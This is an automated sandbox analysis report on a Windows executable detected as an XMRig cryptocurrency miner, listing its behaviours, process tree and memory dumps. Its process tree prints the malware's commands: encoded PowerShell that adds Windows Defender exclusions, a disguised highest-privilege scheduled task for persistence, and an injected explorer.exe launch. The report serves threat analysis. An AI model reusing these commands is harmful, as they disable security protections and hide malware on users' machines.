Analysis

  • max time kernel
    4294181s
  • max time network
    128s
  • platform
    windows7_x64
  • resource
    win7-20220311-en
  • submitted
    21/03/2022, 16:27

General

  • Target
    9c5bea6a72a2f471aa79a87d526c1897.exe
  • Size 170KB
  • Sample220321-tx5t9ahdhm
  • SHA256 b840f10ae378fa15f8570f6eb208e2f280618bd49ade560eca00c93b6a4bd7d9
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner Payload 11 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 12 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9c5bea6a72a2f471aa79a87d526c1897.exe
    "C:\Users\Admin\AppData\Local\Temp\9c5bea6a72a2f471aa79a87d526c1897.exe"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1796
    • C:\Users\Admin\AppData\Local\598718.exe
      "C:\Users\Admin\AppData\Local\598718.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1352
      • C:\Windows\System32\conhost.exe
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\598718.exe"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:452
        • C:\Windows\System32\cmd.exe
          "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:984
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:860
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
            5⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:580
        • C:\Windows\System32\cmd.exe
          "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "updater" /tr "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1636
          • C:\Windows\system32\schtasks.exe
            schtasks /create /f /sc onlogon /rl highest /tn "updater" /tr "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
            5⤵
            • Creates scheduled task(s)
            PID:316
        • C:\Windows\System32\cmd.exe
          "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
          4⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1056
          • C:\Users\Admin\AppData\Roaming\Chrome\updater.exe
            C:\Users\Admin\AppData\Roaming\Chrome\updater.exe
            5⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:2004
            • C:\Windows\System32\conhost.exe
              "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\Chrome\updater.exe"
              6⤵
              • Loads dropped DLL
              • Suspicious use of SetThreadContext
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:520
              • C:\Windows\System32\cmd.exe
                "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit
                7⤵
                • Suspicious use of WriteProcessMemory
                PID:1680
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA"
                  8⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1864
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA="
                  8⤵
                  • Drops file in System32 directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1340
              • C:\Users\Admin\AppData\Roaming\Windows\Telemetry\sihost64.exe
                "C:\Users\Admin\AppData\Roaming\Windows\Telemetry\sihost64.exe"
                7⤵
                • Executes dropped EXE
                PID:1992
                • C:\Windows\System32\conhost.exe
                  "C:\Windows\System32\conhost.exe" "ojrakkcpgz"
                  8⤵
                    PID:452
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe shpiczjxwdufjl0 Xji3FXYfqqI2timPThbgZueMNpSES88mLhMz2ywydJRha9S4YJkR8/KlqFio/vzAY7y//ZROYnArPXLiffwPB7VSAkqxepfHfbYtEaV9ZbG09TvsFZSeWUprFBo7GDeFyZN82BlqbmKu+LYQuLi1o3lpTnrEuI+w+ROIyEQlfrH1kxe7v5ZyMTykLuvzKB12uZQyWPXpZnzoYIaSsfQVgbo3AFAbtSIzYCh94bQRcoE1P8E4tQFOKubeJMJskpvnQyClXkTRVMzS2sAOTVxkjAc0k21wMVWzJDjdouMWWwNZhLjHIwvMUuamQYKSHjTfIHuA22mc0a10qDjedhQ1CDS4ms/9pEbmtFVmsHRocQ3T5wuzgNvm4PGsesA+g49VRrepbRinNIAI8bdG1bY1yD7L9P9c18WhFIoPFoeKm/9CuEWPwSCrM6sFckdJH3KOcM5q4HXbKWbGNu+FZ0cozh5/dI7Eq6McioO54FYr3HdTbUEBeiQbHaOfwhLB4agTGGAFm8cWgb8YrrXWK61Fmw==
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1676
                  • C:\Windows\system32\WerFault.exe
                    C:\Windows\system32\WerFault.exe -u -p 1676 -s 156
                    8⤵
                    • Program crash
                    PID:752

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          memory/452-75-0x000007FEF5540000-0x000007FEF5F2C000-memory.dmp

          memory/452-73-0x0000000000230000-0x000000000069C000-memory.dmp

          memory/452-76-0x000000001B574000-0x000000001B576000-memory.dmp

          memory/452-160-0x000000001ADA7000-0x000000001ADA8000-memory.dmp

          memory/452-77-0x000000001B576000-0x000000001B577000-memory.dmp

          memory/452-78-0x000000001B572000-0x000000001B574000-memory.dmp

          memory/452-79-0x000000001B5F0000-0x000000001BA3E000-memory.dmp

          memory/452-74-0x000000001BA60000-0x000000001BECC000-memory.dmp

          memory/452-153-0x0000000001A30000-0x0000000001A42000-memory.dmp

          memory/452-83-0x000000001B577000-0x000000001B578000-memory.dmp

          memory/452-154-0x0000000001A50000-0x0000000001A56000-memory.dmp

          memory/452-158-0x000000001ADA4000-0x000000001ADA6000-memory.dmp

          memory/452-155-0x0000000000060000-0x0000000000072000-memory.dmp

          memory/452-157-0x000000001ADA2000-0x000000001ADA4000-memory.dmp

          memory/452-156-0x000007FEF4F80000-0x000007FEF596C000-memory.dmp

          memory/452-159-0x000000001ADA6000-0x000000001ADA7000-memory.dmp

          memory/520-103-0x000000001B572000-0x000000001B574000-memory.dmp

          memory/520-102-0x000007FEF54D0000-0x000007FEF5EBC000-memory.dmp

          memory/520-101-0x000000001B574000-0x000000001B576000-memory.dmp

          memory/520-104-0x000000001B576000-0x000000001B577000-memory.dmp

          memory/520-108-0x000000001B577000-0x000000001B578000-memory.dmp

          memory/580-95-0x0000000001F72000-0x0000000001F74000-memory.dmp

          memory/580-91-0x000007FEED010000-0x000007FEEDB6D000-memory.dmp

          memory/580-97-0x0000000001F7B000-0x0000000001F9A000-memory.dmp

          memory/580-96-0x0000000001F74000-0x0000000001F77000-memory.dmp

          memory/580-94-0x000007FEF1E00000-0x000007FEF279D000-memory.dmp

          memory/580-93-0x0000000001F70000-0x0000000001F72000-memory.dmp

          memory/580-92-0x000007FEF1E00000-0x000007FEF279D000-memory.dmp

          memory/860-84-0x000007FEF27A0000-0x000007FEF313D000-memory.dmp

          memory/860-80-0x000007FEFBE41000-0x000007FEFBE43000-memory.dmp

          memory/860-87-0x00000000028F4000-0x00000000028F7000-memory.dmp

          memory/860-86-0x00000000028F0000-0x00000000028F2000-memory.dmp

          memory/860-88-0x000007FEF27A0000-0x000007FEF313D000-memory.dmp

          memory/860-85-0x00000000028FB000-0x000000000291A000-memory.dmp

          memory/860-82-0x000000001B770000-0x000000001BA6F000-memory.dmp

          memory/860-81-0x000007FEEDEF0000-0x000007FEEEA4D000-memory.dmp

          memory/1340-120-0x00000000027F0000-0x00000000027F2000-memory.dmp

          memory/1340-123-0x00000000027FB000-0x000000000281A000-memory.dmp

          memory/1340-122-0x00000000027F4000-0x00000000027F7000-memory.dmp

          memory/1340-121-0x000007FEF1C30000-0x000007FEF25CD000-memory.dmp

          memory/1340-119-0x00000000027F2000-0x00000000027F4000-memory.dmp

          memory/1340-117-0x000007FEED010000-0x000007FEEDB6D000-memory.dmp

          memory/1340-118-0x000007FEF1C30000-0x000007FEF25CD000-memory.dmp

          memory/1676-130-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-142-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-152-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-150-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-148-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-146-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-144-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-126-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-128-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-140-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-132-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-134-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-136-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1676-138-0x0000000140000000-0x0000000140829000-memory.dmp

          memory/1796-60-0x000000000AFD0000-0x000000000B080000-memory.dmp

          memory/1796-57-0x00000000011D0000-0x00000000011D1000-memory.dmp

          memory/1796-55-0x0000000000220000-0x0000000000226000-memory.dmp

          memory/1796-56-0x0000000074830000-0x0000000074F1E000-memory.dmp

          memory/1796-54-0x0000000001240000-0x0000000001274000-memory.dmp

          memory/1796-72-0x000000000B080000-0x000000000B0FA000-memory.dmp

          memory/1796-67-0x0000000000940000-0x0000000000960000-memory.dmp

          memory/1796-65-0x000000000A310000-0x000000000A372000-memory.dmp

          memory/1864-114-0x00000000022CB000-0x00000000022EA000-memory.dmp

          memory/1864-107-0x000007FEEDEF0000-0x000007FEEEA4D000-memory.dmp

          memory/1864-109-0x000007FEF25D0000-0x000007FEF2F6D000-memory.dmp

          memory/1864-110-0x00000000022C0000-0x00000000022C2000-memory.dmp

          memory/1864-111-0x00000000022C2000-0x00000000022C4000-memory.dmp

          memory/1864-113-0x000000001B7A0000-0x000000001BA9F000-memory.dmp

          memory/1864-112-0x00000000022C4000-0x00000000022C7000-memory.dmp